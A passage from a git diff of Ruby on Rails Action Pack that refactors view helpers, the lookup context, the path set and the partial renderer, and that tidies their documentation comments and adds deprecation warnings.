<tt>content_tag_for</tt> internally to render a content tag + # for each record. + def content_tag_for_single_record(tag_name, record, prefix, options, &block) + options, prefix = prefix, nil if prefix.is_a?(Hash) + options ||= {} + options.merge!({ :class => "#{dom_class(record, prefix)} #{options[:class]}".strip, :id => dom_id(record, prefix) }) + if block.arity == 0 + content_tag(tag_name, capture(&block), options) + else + content_tag(tag_name, capture(record, &block), options) + end + end end end end diff --git a/actionpack/lib/action_view/helpers/rendering_helper.rb b/actionpack/lib/action_view/helpers/rendering_helper.rb index 47efdded42..626e1a1ab7 100644 --- a/actionpack/lib/action_view/helpers/rendering_helper.rb +++ b/actionpack/lib/action_view/helpers/rendering_helper.rb @@ -8,7 +8,7 @@ module ActionView module RenderingHelper # Returns the result of a render that's dictated by the options hash. The primary options are: # - # * <tt>:partial</tt> - See ActionView::Partials. + # * <tt>:partial</tt> - See <tt>ActionView::PartialRenderer</tt>. # * <tt>:file</tt> - Renders an explicit template file (this used to be the old default), add :locals to pass in those. # * <tt>:inline</tt> - Renders an inline template similar to how it's done in the controller. # * <tt>:text</tt> - Renders the text passed in out. @@ -87,4 +87,4 @@ module ActionView end end end -end
\ No newline at end of file +end diff --git a/actionpack/lib/action_view/helpers/sanitize_helper.rb b/actionpack/lib/action_view/helpers/sanitize_helper.rb index 841be0a567..bcc8f6fbcb 100644 --- a/actionpack/lib/action_view/helpers/sanitize_helper.rb +++ b/actionpack/lib/action_view/helpers/sanitize_helper.rb @@ -14,13 +14,13 @@ module ActionView # # It also strips href/src tags with invalid protocols, like javascript: especially. # It does its best to counter any tricks that hackers may use, like throwing in - # unicode/ascii/hex values to get past the javascript: filters. Check out + # unicode/ascii/hex values to get past the javascript: filters. Check out # the extensive test suite. # # <%= sanitize @article.body %> # # You can add or remove tags/attributes if you want to customize it a bit. - # See ActionView::Base for full docs on the available options. You can add + # See ActionView::Base for full docs on the available options. You can add # tags/attributes for single uses of +sanitize+ by passing either the # <tt>:attributes</tt> or <tt>:tags</tt> options: # @@ -66,7 +66,7 @@ module ActionView self.class.white_list_sanitizer.sanitize_css(style) end - # Strips all HTML tags from the +html+, including comments. This uses the + # Strips all HTML tags from the +html+, including comments. This uses the # html-scanner tokenizer and so its HTML parsing ability is limited by # that of html-scanner. # @@ -142,7 +142,7 @@ module ActionView white_list_sanitizer.protocol_separator = value end - # Gets the HTML::FullSanitizer instance used by +strip_tags+. Replace with + # Gets the HTML::FullSanitizer instance used by +strip_tags+. Replace with # any object that responds to +sanitize+. # # class Application < Rails::Application @@ -153,7 +153,7 @@ module ActionView @full_sanitizer ||= HTML::FullSanitizer.new end - # Gets the HTML::LinkSanitizer instance used by +strip_links+. Replace with + # Gets the HTML::LinkSanitizer instance used by +strip_links+. Replace with # any object that responds to +sanitize+. # # class Application < Rails::Application diff --git a/actionpack/lib/action_view/helpers/sprockets_helper.rb b/actionpack/lib/action_view/helpers/sprockets_helper.rb deleted file mode 100644 index ab98da9624..0000000000 --- a/actionpack/lib/action_view/helpers/sprockets_helper.rb +++ /dev/null @@ -1,69 +0,0 @@ -require 'uri' -require 'action_view/helpers/asset_paths' - -module ActionView - module Helpers - module SprocketsHelper - def asset_path(source, default_ext = nil) - sprockets_asset_paths.compute_public_path(source, 'assets', default_ext, true) - end - - def sprockets_javascript_include_tag(source, options = {}) - options = { - 'type' => "text/javascript", - 'src' => asset_path(source, 'js') - }.merge(options.stringify_keys) - - content_tag 'script', "", options - end - - def sprockets_stylesheet_link_tag(source, options = {}) - options = { - 'rel' => "stylesheet", - 'type' => "text/css", - 'media' => "screen", - 'href' => asset_path(source, 'css') - }.merge(options.stringify_keys) - - tag 'link', options - end - - private - - def sprockets_asset_paths - @sprockets_asset_paths ||= begin - config = self.config if respond_to?(:config) - controller = self.controller if respond_to?(:controller) - SprocketsHelper::AssetPaths.new(config, controller) - end - end - - class AssetPaths < ActionView::Helpers::AssetPaths #:nodoc: - def rewrite_asset_path(source, dir) - if source[0] == ?/ - source - else - assets.path(source, performing_caching?, dir) - end - end - - def rewrite_extension(source, dir, ext) - if ext && File.extname(source).empty? - "#{source}.#{ext}" - else - source - end - end - - def assets - Rails.application.assets - end - - # When included in Sprockets::Context, we need to ask the top-level config as the controller is not available - def performing_caching? - @config ? @config.perform_caching : Rails.application.config.action_controller.perform_caching - end - end - end - end -end
\ No newline at end of file diff --git a/actionpack/lib/action_view/helpers/tag_helper.rb b/actionpack/lib/action_view/helpers/tag_helper.rb index 786af5ca58..8c33ef09fa 100644 --- a/actionpack/lib/action_view/helpers/tag_helper.rb +++ b/actionpack/lib/action_view/helpers/tag_helper.rb @@ -94,7 +94,7 @@ module ActionView end end - # Returns a CDATA section with the given +content+. CDATA sections + # Returns a CDATA section with the given +content+. CDATA sections # are used to escape blocks of text containing characters which would # otherwise be recognized as markup. CDATA sections begin with the string # <tt><![CDATA[</tt> and end with (and may not contain) the string <tt>]]></tt>. diff --git a/actionpack/lib/action_view/helpers/text_helper.rb b/actionpack/lib/action_view/helpers/text_helper.rb index ca09c77b5c..21074efe86 100644 --- a/actionpack/lib/action_view/helpers/text_helper.rb +++ b/actionpack/lib/action_view/helpers/text_helper.rb @@ -232,7 +232,7 @@ module ActionView # considered as a linebreak and a <tt><br /></tt> tag is appended. This # method does not remove the newlines from the +text+. # - # You can pass any HTML attributes into <tt>html_options</tt>. These + # You can pass any HTML attributes into <tt>html_options</tt>. These # will be added to all created paragraphs. # # ==== Options @@ -255,9 +255,11 @@ module ActionView # simple_format("<span>I'm allowed!</span> It's true.", {}, :sanitize => false) # # => "<p><span>I'm allowed!</span> It's true.</p>" def simple_format(text, html_options={}, options={}) - text = ''.html_safe if text.nil? + text = '' if text.nil? + text = text.dup start_tag = tag('p', html_options, true) text = sanitize(text) unless options[:sanitize] == false + text = text.to_str text.gsub!(/\r\n?/, "\n") # \r\n and \r -> \n text.gsub!(/\n\n+/, "</p>\n\n#{start_tag}") # 2+ newline -> paragraph text.gsub!(/([^\n]\n)(?=[^\n])/, '\1<br />') # 1 newline -> br @@ -267,7 +269,7 @@ module ActionView # Creates a Cycle object whose _to_s_ method cycles through elements of an # array every time it is called. This can be used for example, to alternate - # classes for table rows. You can use named cycles to allow nesting in loops. + # classes for table rows. You can use named cycles to allow nesting in loops. # Passing a Hash as the last parameter with a <tt>:name</tt> key will create a # named cycle. The default name for a cycle without a +:name+ key is # <tt>"default"</tt>. You can manually reset a cycle by calling reset_cycle @@ -279,7 +281,7 @@ module ActionView # @items = [1,2,3,4] # <table> # <% @items.each do |item| %> - # <tr class="<%= cycle("even", "odd") -%>"> + # <tr class="<%= cycle("odd", "even") -%>"> # <td>item</td> # </tr> # <% end %> diff --git a/actionpack/lib/action_view/helpers/translation_helper.rb b/actionpack/lib/action_view/helpers/translation_helper.rb index fd8fe417d0..be64dc823e 100644 --- a/actionpack/lib/action_view/helpers/translation_helper.rb +++ b/actionpack/lib/action_view/helpers/translation_helper.rb @@ -5,7 +5,7 @@ module I18n class ExceptionHandler include Module.new { def call(exception, locale, key, options) - exception.is_a?(MissingTranslation) ? super.html_safe : super + exception.is_a?(MissingTranslation) && options[:rescue_format] == :html ? super.html_safe : super end } end @@ -25,7 +25,7 @@ module ActionView # * a titleized version of the last key segment as a text. # # E.g. the value returned for a missing translation key :"blog.post.title" will be - # <span class="translation_missing" title="translation missing: blog.post.title">Title</span>. + # <span class="translation_missing" title="translation missing: en.blog.post.title">Title</span>. # This way your views will display rather reasonable strings but it will still # be easy to spot missing translations. # diff --git a/actionpack/lib/action_view/helpers/url_helper.rb b/actionpack/lib/action_view/helpers/url_helper.rb index 5488c752cc..0c2e1aa3a9 100644 --- a/actionpack/lib/action_view/helpers/url_helper.rb +++ b/actionpack/lib/action_view/helpers/url_helper.rb @@ -55,9 +55,9 @@ module ActionView # # ==== Relying on named routes # - # If you instead of a hash pass a record (like an Active Record or Active Resource) as the options parameter, - # you'll trigger the named route for that record. The lookup will happen on the name of the class. So passing - # a Workshop object will attempt to use the +workshop_path+ route. If you have a nested route, such as + # Passing a record (like an Active Record or Active Resource) instead of a Hash as the options parameter will + # trigger the named route for that record. The lookup will happen on the name of the class. So passing a + # Workshop object will attempt to use the +workshop_path+ route. If you have a nested route, such as # +admin_workshop_path+ you'll have to call that explicitly (it's impossible for +url_for+ to guess that route). # # ==== Examples @@ -112,13 +112,13 @@ module ActionView end end - # Creates a link tag of the given +name+ using a URL created by the set - # of +options+. See the valid options in the documentation for - # +url_for+. It's also possible to pass a string instead - # of an options hash to get a link tag that uses the value of the string as the - # href for the link, or use <tt>:back</tt> to link to the referrer - a JavaScript back - # link will be used in place of a referrer if none exists. If +nil+ is passed as - # a name, the link itself will become the name. + # Creates a link tag of the given +name+ using a URL created by the set of +options+. + # See the valid options in the documentation for +url_for+. It's also possible to + # pass a String instead of an options hash, which generates a link tag that uses the + # value of the String as the href for the link. Using a <tt>:back</tt> Symbol instead + # of an options hash will generate a link to the referrer (a JavaScript back link + # will be used in place of a referrer if none exists). If +nil+ is passed as the name + # the value of the link itself will become the name. # # ==== Signatures # @@ -160,7 +160,7 @@ module ActionView # # ==== Examples # Because it relies on +url_for+, +link_to+ supports both older-style controller/action/id arguments - # and newer RESTful routes. Current Rails style favors RESTful routes whenever possible, so base + # and newer RESTful routes. Current Rails style favors RESTful routes whenever possible, so base # your application on resources and use # # link_to "Profile", profile_path(@profile) @@ -268,7 +268,7 @@ module ActionView # to change the HTTP verb used to submit the form. # # ==== Options - # The +options+ hash accepts the same options as url_for. + # The +options+ hash accepts the same options as +url_for+. # # There are a few special +html_options+: # * <tt>:method</tt> - Symbol of HTTP verb. Supported verbs are <tt>:post</tt>, <tt>:get</tt>, @@ -278,7 +278,8 @@ module ActionView # prompt with the question specified. If the user accepts, the link is # processed normally, otherwise no action is taken. # * <tt>:remote</tt> - If set to true, will allow the Unobtrusive JavaScript drivers to control the - # submit behaviour. By default this behaviour is an ajax submit. + # submit behavior. By default this behavior is an ajax submit. + # * <tt>:form</tt> - This hash will be form attributes # * <tt>:form_class</tt> - This controls the class of the form within which the submit button will # be placed # @@ -295,6 +296,12 @@ module ActionView # # </form>" # # + # <%= button_to "Create", :action => "create", :remote => true, :form => { "data-type" => "json" } %> + # # => "<form method="post" action="/images/create" class="button_to" data-remote="true" data-type="json"> + # # <div><input value="Create" type="submit" /></div> + # # </form>" + # + # # <%= button_to "Delete Image", { :action => "delete", :id => @image.id }, # :confirm => "Are you sure?", :method => :delete %> # # => "<form method="post" action="/images/delete/1" class="button_to"> @@ -324,10 +331,11 @@ module ActionView end form_method = method.to_s == 'get' ? 'get' : 'post' - form_class = html_options.delete('form_class') || 'button_to' - + form_options = html_options.delete('form') || {} + form_options[:class] ||= html_options.delete('form_class') || 'button_to' + remote = html_options.delete('remote') - + request_token_tag = '' if form_method == 'post' && protect_against_forgery? request_token_tag = tag(:input, :type => "hidden", :name => request_forgery_protection_token.to_s, :value => form_authenticity_token) @@ -340,15 +348,17 @@ module ActionView html_options.merge!("type" => "submit", "value" => name) - ("<form method=\"#{form_method}\" action=\"#{ERB::Util.html_escape(url)}\" #{"data-remote=\"true\"" if remote} class=\"#{ERB::Util.html_escape(form_class)}\"><div>" + - method_tag + tag("input", html_options) + request_token_tag + "</div></form>").html_safe + form_options.merge!(:method => form_method, :action => url) + form_options.merge!("data-remote" => "true") if remote + + "#{tag(:form, form_options, true)}<div>#{method_tag}#{tag("input", html_options)}#{request_token_tag}</div></form>".html_safe end # Creates a link tag of the given +name+ using a URL created by the set of # +options+ unless the current request URI is the same as the links, in # which case only the name is returned (or the given block is yielded, if - # one exists). You can give +link_to_unless_current+ a block which will + # one exists). You can give +link_to_unless_current+ a block which will # specialize the default behavior (e.g., show a "Start Here" link rather # than the link's text). # @@ -375,7 +385,7 @@ module ActionView # </ul> # # The implicit block given to +link_to_unless_current+ is evaluated if the current - # action is the action given. So, if we had a comments page and wanted to render a + # action is the action given. So, if we had a comments page and wanted to render a # "Go Back" link instead of a link to the comments page, we could do something like this... # # <%= @@ -497,14 +507,14 @@ module ActionView }.compact extras = extras.empty? ? '' : '?' + ERB::Util.html_escape(extras.join('&')) - email_address_obfuscated = email_address.dup + email_address_obfuscated = email_address.to_str email_address_obfuscated.gsub!(/@/, html_options.delete("replace_at")) if html_options.key?("replace_at") email_address_obfuscated.gsub!(/\./, html_options.delete("replace_dot")) if html_options.key?("replace_dot") case encode when "javascript" string = '' html = content_tag("a", name || email_address_obfuscated.html_safe, html_options.merge("href" => "mailto:#{email_address}#{extras}".html_safe)) - html = escape_javascript(html) + html = escape_javascript(html.to_str) "document.write('#{html}');".each_byte do |c| string << sprintf("%%%x", c) end @@ -569,6 +579,12 @@ module ActionView # # current_page?(:controller => 'library', :action => 'checkout') # # => false + # + # Let's say we're in the <tt>/products</tt> action with method POST in case of invalid product. + # + # current_page?(:controller => 'product', :action => 'index') + # # => false + # def current_page?(options) unless request raise "You cannot use helpers that need to determine the current " \ @@ -576,10 +592,12 @@ module ActionView "in a #request method" end + return false unless request.get? + url_string = url_for(options) # We ignore any extra parameters in the request_uri if the - # submitted url doesn't have any either. This lets the function + # submitted url doesn't have any either. This lets the function # work with things like ?order=asc if url_string.index("?") request_uri = request.fullpath @@ -596,9 +614,7 @@ module ActionView private def convert_options_to_data_attributes(options, html_options) - if html_options.nil? - link_to_remote_options?(options) ? {'data-remote' => 'true'} : {} - else + if html_options html_options = html_options.stringify_keys html_options['data-remote'] = 'true' if link_to_remote_options?(options) || link_to_remote_options?(html_options) @@ -611,6 +627,8 @@ module ActionView add_method_to_attributes!(html_options, method) if method html_options + else + link_to_remote_options?(options) ? {'data-remote' => 'true'} : {} end end @@ -619,7 +637,9 @@ module ActionView end def add_method_to_attributes!(html_options, method) - html_options["rel"] = "nofollow" if method.to_s.downcase != "get" + if method && method.to_s.downcase != "get" && html_options["rel"] !~ /nofollow/ + html_options["rel"] = "#{html_options["rel"]} nofollow".strip + end html_options["data-method"] = method end @@ -641,7 +661,7 @@ module ActionView # Processes the +html_options+ hash, converting the boolean # attributes from true/false form into the form required by - # HTML/XHTML. (An attribute is considered to be boolean if + # HTML/XHTML. (An attribute is considered to be boolean if # its name is listed in the given +bool_attrs+ array.) # # More specifically, for each boolean attribute in +html_options+ @@ -651,7 +671,7 @@ module ActionView # # if the associated +bool_value+ evaluates to true, it is # replaced with the attribute's name; otherwise the attribute is - # removed from the +html_options+ hash. (See the XHTML 1.0 spec, + # removed from the +html_options+ hash. (See the XHTML 1.0 spec, # section 4.5 "Attribute Minimization" for more: # http://www.w3.org/TR/xhtml1/#h-4.5) # diff --git a/actionpack/lib/action_view/log_subscriber.rb b/actionpack/lib/action_view/log_subscriber.rb index 29ffbd6fdd..bf90d012bf 100644 --- a/actionpack/lib/action_view/log_subscriber.rb +++ b/actionpack/lib/action_view/log_subscriber.rb @@ -4,7 +4,7 @@ module ActionView # Provides functionality so that Rails can output logs from Action View. class LogSubscriber < ActiveSupport::LogSubscriber def render_template(event) - message = "Rendered #{from_rails_root(event.payload[:identifier])}" + message = " Rendered #{from_rails_root(event.payload[:identifier])}" message << " within #{from_rails_root(event.payload[:layout])}" if event.payload[:layout] message << (" (%.1fms)" % event.duration) info(message) diff --git a/actionpack/lib/action_view/lookup_context.rb b/actionpack/lib/action_view/lookup_context.rb index f0ed3425de..fa4bf70f77 100644 --- a/actionpack/lib/action_view/lookup_context.rb +++ b/actionpack/lib/action_view/lookup_context.rb @@ -1,5 +1,6 @@ require 'active_support/core_ext/array/wrap' require 'active_support/core_ext/object/blank' +require 'active_support/core_ext/module/remove_method' module ActionView # = Action View Lookup Context @@ -10,30 +11,32 @@ module ActionView # this key is generated just once during the request, it speeds up all cache accesses. class LookupContext #:nodoc: attr_accessor :prefixes - + mattr_accessor :fallbacks @@fallbacks = FallbackFileSystemResolver.instances mattr_accessor :registered_details self.registered_details = [] - mattr_accessor :registered_detail_setters - self.registered_detail_setters = [] - def self.register_detail(name, options = {}, &block) self.registered_details << name - self.registered_detail_setters << [name, "#{name}="] + initialize = registered_details.map { |n| "self.#{n} = details[:#{n}]" } - Accessors.send :define_method, :"_#{name}_defaults", &block + Accessors.send :define_method, :"default_#{name}", &block Accessors.module_eval <<-METHOD, __FILE__, __LINE__ + 1 def #{name} @details[:#{name}] end def #{name}=(value) - value = Array.wrap(value.presence || _#{name}_defaults) + value = Array.wrap(value.presence || default_#{name}) _set_detail(:#{name}, value) if value != @details[:#{name}] end + + remove_possible_method :initialize_details + def initialize_details(details) + #{initialize.join("\n")} + end METHOD end @@ -41,8 +44,9 @@ module ActionView module Accessors #:nodoc: end - register_detail(:formats) { Mime::SET.symbols } register_detail(:locale) { [I18n.locale, I18n.default_locale] } + register_detail(:formats) { Mime::SET.symbols } + register_detail(:handlers){ Template::Handlers.extensions } class DetailsKey #:nodoc: alias :eql? :equal? @@ -60,38 +64,54 @@ module ActionView end end - def initialize(view_paths, details = {}, prefixes = []) - @details, @details_key = { :handlers => default_handlers }, nil - @frozen_formats, @skip_default_locale = false, false - @cache = true - @prefixes = prefixes + # Add caching behavior on top of Details. + module DetailsCache + attr_accessor :cache - self.view_paths = view_paths - self.registered_detail_setters.each do |key, setter| - send(setter, details[key]) + # Calculate the details key. Remove the handlers from calculation to improve performance + # since the user cannot modify it explicitly. + def details_key #:nodoc: + @details_key ||= DetailsKey.get(@details) if @cache + end + + # Temporary skip passing the details_key forward. + def disable_cache + old_value, @cache = @cache, false + yield + ensure + @cache = old_value + end + + protected + + def _set_detail(key, value) + @details_key = nil + @details = @details.dup if @details.frozen? + @details[key] = value.freeze end end + # Helpers related to template lookup using the lookup context information. module ViewPaths attr_reader :view_paths # Whenever setting view paths, makes a copy so we can manipulate then in # instance objects as we wish. def view_paths=(paths) - @view_paths = ActionView::Base.process_view_paths(paths) + @view_paths = ActionView::PathSet.new(Array.wrap(paths)) end - def find(name, prefixes = [], partial = false, keys = []) - @view_paths.find(*args_for_lookup(name, prefixes, partial, keys)) + def find(name, prefixes = [], partial = false, keys = [], options = {}) + @view_paths.find(*args_for_lookup(name, prefixes, partial, keys, options)) end alias :find_template :find - def find_all(name, prefixes = [], partial = false, keys = []) - @view_paths.find_all(*args_for_lookup(name, prefixes, partial, keys)) + def find_all(name, prefixes = [], partial = false, keys = [], options = {}) + @view_paths.find_all(*args_for_lookup(name, prefixes, partial, keys, options)) end - def exists?(name, prefixes = [], partial = false, keys = []) - @view_paths.exists?(*args_for_lookup(name, prefixes, partial, keys)) + def exists?(name, prefixes = [], partial = false, keys = [], options = {}) + @view_paths.exists?(*args_for_lookup(name, prefixes, partial, keys, options)) end alias :template_exists? :exists? @@ -110,16 +130,29 @@ module ActionView protected - def args_for_lookup(name, prefixes, partial, keys) #:nodoc: + def args_for_lookup(name, prefixes, partial, keys, details_options) #:nodoc: name, prefixes = normalize_name(name, prefixes) - [name, prefixes, partial || false, @details, details_key, keys] + details, details_key = detail_args_for(details_options) + [name, prefixes, partial || false, details, details_key, keys] + end + + # Compute details hash and key according to user options (e.g. passed from #render). + def detail_args_for(options) + return @details, details_key if options.empty? # most common path. + user_details = @details.merge(options) + [user_details, DetailsKey.get(user_details)] end # Support legacy foo.erb names even though we now ignore .erb # as well as incorrectly putting part of the path in the template # name instead of the prefix. def normalize_name(name, prefixes) #:nodoc: - name = name.to_s.gsub(handlers_regexp, '') + name = name.to_s.sub(handlers_regexp) do |match| + ActiveSupport::Deprecation.warn "Passing a template handler in the template name is deprecated. " \ + "You can simply remove the handler name or pass render :handlers => [:#{match[1..-1]}] instead.", caller + "" + end + parts = name.split('/') name = parts.pop @@ -132,120 +165,82 @@ module ActionView return name, prefixes end - def default_handlers #:nodoc: - @@default_handlers ||= Template::Handlers.extensions - end - def handlers_regexp #:nodoc: @@handlers_regexp ||= /\.(?:#{default_handlers.join('|')})$/ end end - module Details - attr_accessor :cache - - # Calculate the details key. Remove the handlers from calculation to improve performance - # since the user cannot modify it explicitly. - def details_key #:nodoc: - @details_key ||= DetailsKey.get(@details) if @cache - end - - # Temporary skip passing the details_key forward. - def disable_cache - old_value, @cache = @cache, false - yield - ensure - @cache = old_value - end + include Accessors + include DetailsCache + include ViewPaths - # Freeze the current formats in the lookup context. By freezing them, you are guaranteeing - # that next template lookups are not going to modify the formats. The controller can also - # use this, to ensure that formats won't be further modified (as it does in respond_to blocks). - def freeze_formats(formats, unless_frozen=false) #:nodoc: - return if unless_frozen && @frozen_formats - self.formats = formats - @frozen_formats = true - end + def initialize(view_paths, details = {}, prefixes = []) + @details, @details_key = {}, nil + @frozen_formats, @skip_default_locale = false, false + @cache = true + @prefixes = prefixes - # Overload formats= to expand ["*/*"] values and automatically - # add :html as fallback to :js. - def formats=(values) - if values - values.concat(_formats_defaults) if values.delete "*/*" - values << :html if values == [:js] - end - super(values) - end + self.view_paths = view_paths + initialize_details(details) + end - # Do not use the default locale on template lookup. - def skip_default_locale! - @skip_default_locale = true - self.locale = nil - end + # Freeze the current formats in the lookup context. By freezing them, you + # that next template lookups are not going to modify the formats. The con + # use this, to ensure that formats won't be further modified (as it does + def freeze_formats(formats, unless_frozen=false) #:nodoc: + return if unless_frozen && @frozen_formats + self.formats = formats + @frozen_formats = true + end - # Overload locale to return a symbol instead of array. - def locale - @details[:locale].first + # Override formats= to expand ["*/*"] values and automatically + # add :html as fallback to :js. + def formats=(values) + if values + values.concat(default_formats) if values.delete "*/*" + values << :html if values == [:js] end + super(values) + end - # Overload locale= to also set the I18n.locale. If the current I18n.config object responds - # to original_config, it means that it's has a copy of the original I18n configuration and it's - # acting as proxy, which we need to skip. - def locale=(value) - if value - config = I18n.config.respond_to?(:original_config) ? I18n.config.original_config : I18n.config - config.locale = value - end + # Do not use the default locale on template lookup. + def skip_default_locale! + @skip_default_locale = true + self.locale = nil + end - super(@skip_default_locale ? I18n.locale : _locale_defaults) - end + # Override locale to return a symbol instead of array. + def locale + @details[:locale].first + end - # A method which only uses the first format in the formats array for layout lookup. - # This method plays straight with instance variables for performance reasons. - def with_layout_format - if formats.size == 1 - yield - else - old_formats = formats - _set_detail(:formats, formats[0,1]) - - begin - yield - ensure - _set_detail(:formats, old_formats) - end - end + # Overload locale= to also set the I18n.locale. If the current I18n.config object responds + # to original_config, it means that it's has a copy of the original I18n configuration and it's + # acting as proxy, which we need to skip. + def locale=(value) + if value + config = I18n.config.respond_to?(:original_config) ? I18n.config.original_config : I18n.config + config.locale = value end - # Update the details keys by merging the given hash into the current - # details hash. If a block is given, the details are modified just during - # the execution of the block and reverted to the previous value after. - def update_details(new_details) - old_details = @details.dup + super(@skip_default_locale ? I18n.locale : default_locale) + end - registered_detail_setters.each do |key, setter| - send(setter, new_details[key]) if new_details.key?(key) - end + # A method which only uses the first format in the formats array for layout lookup. + # This method plays straight with instance variables for performance reasons. + def with_layout_format + if formats.size == 1 + yield + else + old_formats = formats + _set_detail(:formats, formats[0,1]) begin yield ensure - @details_key = nil - @details = old_details + _set_detail(:formats, old_formats) end end - - protected - - def _set_detail(key, value) - @details_key = nil - @details = @details.dup if @details.frozen? - @details[key] = value.freeze - end end - - include Accessors - include Details - include ViewPaths end end diff --git a/actionpack/lib/action_view/path_set.rb b/actionpack/lib/action_view/path_set.rb index e0cb5d6a70..bbb1af8154 100644 --- a/actionpack/lib/action_view/path_set.rb +++ b/actionpack/lib/action_view/path_set.rb @@ -1,11 +1,55 @@ module ActionView #:nodoc: # = Action View PathSet - class PathSet < Array #:nodoc: - %w(initialize << concat insert push unshift).each do |method| + class PathSet #:nodoc: + include Enumerable + + attr_reader :paths + + def initialize(paths = []) + @paths = typecast paths + end + + def initialize_copy(other) + @paths = other.paths.dup + self + end + + def [](i) + paths[i] + end + + def to_ary + paths.dup + end + + def include?(item) + paths.include? item + end + + def pop + paths.pop + end + + def size + paths.size + end + + def each(&block) + paths.each(&block) + end + + def compact + PathSet.new paths.compact + end + + def +(array) + PathSet.new(paths + array) + end + + %w(<< concat push insert unshift).each do |method| class_eval <<-METHOD, __FILE__, __LINE__ + 1 def #{method}(*args) - super - typecast! + paths.#{method}(*typecast(args)) end METHOD end @@ -17,7 +61,7 @@ module ActionView #:nodoc: def find_all(path, prefixes = [], *args) prefixes = [prefixes] if String === prefixes prefixes.each do |prefix| - each do |resolver| + paths.each do |resolver| templates = resolver.find_all(path, prefix, *args) return templates unless templates.empty? end @@ -25,17 +69,20 @@ module ActionView #:nodoc: [] end - def exists?(*args) - find_all(*args).any? + def exists?(path, prefixes, *args) + find_all(path, prefixes, *args).any? end - protected + private - def typecast! - each_with_index do |path, i| - path = path.to_s if path.is_a?(Pathname) - next unless path.is_a?(String) - self[i] = OptimizedFileSystemResolver.new(path) + def typecast(paths) + paths.map do |path| + case path + when Pathname, String + OptimizedFileSystemResolver.new path.to_s + else + path + end end end end diff --git a/actionpack/lib/action_view/renderer/abstract_renderer.rb b/actionpack/lib/action_view/renderer/abstract_renderer.rb index 60c527beeb..c0936441ac 100644 --- a/actionpack/lib/action_view/renderer/abstract_renderer.rb +++ b/actionpack/lib/action_view/renderer/abstract_renderer.rb @@ -11,15 +11,22 @@ module ActionView raise NotImplementedError end - # Checks if the given path contains a format and if so, change - # the lookup context to take this new format into account. - def wrap_formats(value) - return yield unless value.is_a?(String) - - if value.sub!(formats_regexp, "") - update_details(:formats => [$1.to_sym]){ yield } - else - yield + protected + + def extract_details(options) + details = {} + @lookup_context.registered_details.each do |key| + next unless value = options[key] + details[key] = Array.wrap(value) + end + details + end + + def extract_format(value, details) + if value.is_a?(String) && value.sub!(formats_regexp, "") + ActiveSupport::Deprecation.warn "Passing the format in the template name is deprecated. " \ + "Please pass render with :formats => [:#{$1}] instead.", caller + details[:formats] ||= [$1.to_sym] end end @@ -27,8 +34,6 @@ module ActionView @@formats_regexp ||= /\.(#{Mime::SET.symbols.join('|')})$/ end - protected - def instrument(name, options={}) ActiveSupport::Notifications.instrument("render_#{name}.action_view", options){ yield } end diff --git a/actionpack/lib/action_view/renderer/partial_renderer.rb b/actionpack/lib/action_view/renderer/partial_renderer.rb index a351fbc04f..15cb9d0f76 100644 --- a/actionpack/lib/action_view/renderer/partial_renderer.rb +++ b/actionpack/lib/action_view/renderer/partial_renderer.rb @@ -12,8 +12,7 @@ module ActionView # # <%= render :partial => "account" %> # - # This would render "advertiser/_account.html.erb" and pass the instance variable @account in as a local variable - # +account+ to the template for display. + # This would render "advertiser/_account.html.erb". # # In another template for Advertiser#buy, we could have: # @@ -28,32 +27,24 @@ module ActionView # # == The :as and :object options # - # By default <tt>ActionView::Partials::PartialRenderer</tt> has its object in a local variable with the same - # name as the template. So, given + # By default <tt>ActionView::PartialRenderer</tt> doesn't have any local variables. + # The <tt>:object</tt> option can be used to pass an object to the partial. For instance: # - # <%= render :partial => "contract" %> + # <%= render :partial => "account", :object => @buyer %> # - # within contract we'll get <tt>@contract</tt> in the local variable +contract+, as if we had written + # would provide the +@buyer+ object to the partial, available under the local variable +account+ and is + # equivalent to: # - # <%= render :partial => "contract", :locals => { :contract => @contract } %> + # <%= render :partial => "account", :locals => { :account => @buyer } %> # # With the <tt>:as</tt> option we can specify a different name for said local variable. For example, if we - # wanted it to be +agreement+ instead of +contract+ we'd do: - # - # <%= render :partial => "contract", :as => 'agreement' %> + # wanted it to be +user+ instead of +account+ we'd do: # - # The <tt>:object</tt> option can be used to directly specify which object is rendered into the partial; - # useful when the template's object is elsewhere, in a different ivar or in a local variable for instance. + # <%= render :partial => "account", :object => @buyer, :as => 'user' %> # - # Revisiting a previous example we could have written this code: + # This is equivalent to # - # <%= render :partial => "account", :object => @buyer %> - # - # <% @advertisements.each do |ad| %> - # <%= render :partial => "ad", :object => ad %> - # <% end %> - # - # The <tt>:object</tt> and <tt>:as</tt> options can be used together. + # <%= render :partial => "account", :locals => { :user => @buyer } %> # # == Rendering a collection of partials # @@ -215,27 +206,25 @@ module ActionView # <%- end -%> # <% end %> class PartialRenderer < AbstractRenderer #:nodoc: - PARTIAL_NAMES = Hash.new {|h,k| h[k] = {} } + PARTIAL_NAMES = Hash.new { |h,k| h[k] = {} } def initialize(*) super - @partial_names = PARTIAL_NAMES[@lookup_context.prefixes.first] + @context_prefix = @lookup_context.prefixes.first + @partial_names = PARTIAL_NAMES[@context_prefix] end def render(context, options, block) setup(context, options, block) + identifier = (@template = find_partial) ? @template.identifier : @path - wrap_formats(@path) do - identifier = ((@template = find_partial) ? @template.identifier : @path) - - if @collection - instrument(:collection, :identifier => identifier || "collection", :count => @collection.size) do - render_collection - end - else - instrument(:partial, :identifier => identifier) do - render_partial - end + if @collection + instrument(:collection, :identifier => identifier || "collection", :count => @collection.size) do + render_collection + end + else + instrument(:partial, :identifier => identifier) do + render_partial end end end @@ -279,6 +268,7 @@ module ActionView @options = options @locals = options[:locals] || {} @block = block + @details = extract_details(options) if String === partial @object = options[:object] @@ -301,6 +291,13 @@ module ActionView paths.map! { |path| retrieve_variable(path).unshift(path) } end + if String === partial && @variable.to_s !~ /^[a-z_][a-zA-Z_0-9]*$/ + raise ArgumentError.new("The partial name (#{partial}) is not a valid Ruby identifier; " + + "make sure your partial name starts with a letter or underscore, " + + "and is followed by any combinations of letters, numbers, or underscores.") + end + + extract_format(@path, @details) self end @@ -328,7 +325,7 @@ module ActionView def find_template(path=@path, locals=@locals.keys) prefixes = path.include?(?/) ? [] : @lookup_context.prefixes - @lookup_context.find_template(path, prefixes, true, locals) + @lookup_context.find_template(path, prefixes, true, locals, @details) end def collection_with_template @@ -364,13 +361,32 @@ module ActionView end def partial_path(object = @object) - @partial_names[object.class.name] ||= begin - object = object.to_model if object.respond_to?(:to_model) + object = object.to_model if object.respond_to?(:to_model) + + path = if object.respond_to?(:to_partial_path) + object.to_partial_path + else + ActiveSupport::Deprecation.warn 